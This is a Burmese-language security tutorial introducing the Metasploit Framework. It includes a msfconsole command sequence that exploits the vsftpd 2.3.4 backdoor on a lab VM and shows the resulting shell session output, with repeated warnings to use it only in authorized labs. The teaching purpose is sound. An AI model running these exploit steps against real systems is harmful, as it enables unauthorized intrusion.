Thuta Learning
ရှာဖွေရန်
AdvancedSecurityintermediate

Metasploit Framework Basics

စိတ်လျှော့ပါ။ ဒီခန်းကို စာအုပ်လိုမဟုတ်ဘဲ စကားပြောသလိုပဲ၊ နားလည်လွယ်အောင် ရှင်းပါမယ်။

ဒီခန်းပြီးရင် ဘာတတ်သွားမလဲ

  • Metasploit Framework Basics ကို ကြောက်စရာမလိုအောင် နားလည်မယ်
  • ကိုယ်တိုင် authorized lab environment ထဲမှာ tool ကို run ကြည့်တတ်မယ်
  • Real assessment/report ထဲမှာ ဒီ concept ကို ချက်ချင်း အသုံးချတတ်မယ်

ခဏလေး ဒီလိုပဲ စဉ်းစားကြည့်

Metasploit Framework က exploit module (known vulnerability ကို target လုပ်ဖို့ pre-written code), payload (exploit အောင်မြင်ပြီးရင် target ပေါ် run မယ့် code, ဥပမာ - reverse shell), auxiliary module (scanning, fuzzing) တွေကို organize ထားတဲ့ open-source pentest framework ပါ — professional pentester တွေ known vulnerability ကို authorized engagement ထဲမှာ efficiently verify လုပ်ဖို့ (manual exploit code ရေးနေစရာ မလို) သုံးကြပါတယ်။ CTF platform (HackTheBox, TryHackMe) တွေကလည်း Metasploit ကို practice/learning tool အဖြစ် တရားဝင် support ပေးထားပါတယ်.

လက်တွေ့ scenario နဲ့ ချိတ်ကြည့်မယ်

Metasploitable VM (Basic lesson 4 setup, vsftpd 2.3.4 known backdoor vulnerability ပါတဲ့) ကို `msfconsole` ဖွင့်ပြီး `search vsftpd` → `use exploit/unix/ftp/vsftpd_234_backdoor` → `set RHOSTS 192.168.56.101` → `run` ဆိုတဲ့ sequence နဲ့ authorized lab ထဲမှာ exploit ကို test လုပ်ကြည့်နိုင်ပါတယ် — ဒါက CTF/learning platform တွေမှာ တွေ့ကြရမယ့် most famous demo တစ်ခုပါ, real-world unauthorized target ပေါ် ဒီလို လုပ်ဆောင်ခြင်းသည် ပြင်းထန်တဲ့ ရာဇဝတ်မှုဖြစ်ပါတယ်.

အတူတူ ကြည့်မယ်

bash
# Inside your isolated lab only — never against a system
# you don't have written authorization to test.

msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
run
You should see
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[*] Found shell.
[*] Command shell session 1 opened

၅ မိနစ် စမ်းကြည့်

Metasploitable VM ကို `msfconsole` (lab ထဲမှာသာ) နဲ့ vsftpd backdoor module ဖြင့် exploit ကို run ကြည့်ပါ — exploit ရဲ့ output ကို ဖတ်ရှင်းပြီး, ဘာဖြစ်ခဲ့လဲ (backdoor command execution) ရှင်းကြည့်ပါ။

သတိလေးတစ်ချက်

Metasploit ကို authorization မရှိတဲ့ system ပေါ်မှာ သုံးခြင်းသည် serious criminal offense ဖြစ်ပါတယ် — CTF platform/ကိုယ်ပိုင် lab VM ပေါ်မှာသာ, ဒီ tutorial တစ်ခုလုံးက emphasize လုပ်နေတဲ့ authorization principle ကို ထပ်ခါထပ်ခါ လိုက်နာပါ.

ဒီနေရာမှာ လူအများမှားတတ်တယ်

  • Metasploit ကို 'push-button hacking tool' တစ်ခုတည်း ထင်ခြင်း — professional pentest မှာ recon/manual verification/reporting ကအစ effort အများကြီး ပါဝင်ပါတယ်, Metasploit ကတော့ tool တစ်ခုပါ
  • Exploit module ကို target ရဲ့ patch level/version confirm မလုပ်ဘဲ blindly run ခြင်း (production environment မှာဆိုရင် system instability ဖြစ်စေနိုင်ပါတယ်, lab ထဲမှာတောင် habit ကောင်းမကောင်း ပါလို့ practice ကတည်းက correct workflow ကို လေ့ကျင့်ထားသင့်ပါတယ်)

အခု ကိုယ်တိုင် စမ်းကြည့်

Metasploitable VM ကို `msfconsole` (lab ထဲမှာသာ) နဲ့ vsftpd backdoor module ဖြင့် exploit ကို run ကြည့်ပါ — exploit ရဲ့ output ကို ဖတ်ရှင်းပြီး, ဘာဖြစ်ခဲ့လဲ (backdoor command execution) ရှင်းကြည့်ပါ။

You'll know it worked when: [*] 192.168.56.101:21 - USER: 331 Please specify the password. [*] Found shell. [*] Command shell session 1 opened

Metasploit Framework Basics | Thuta Learning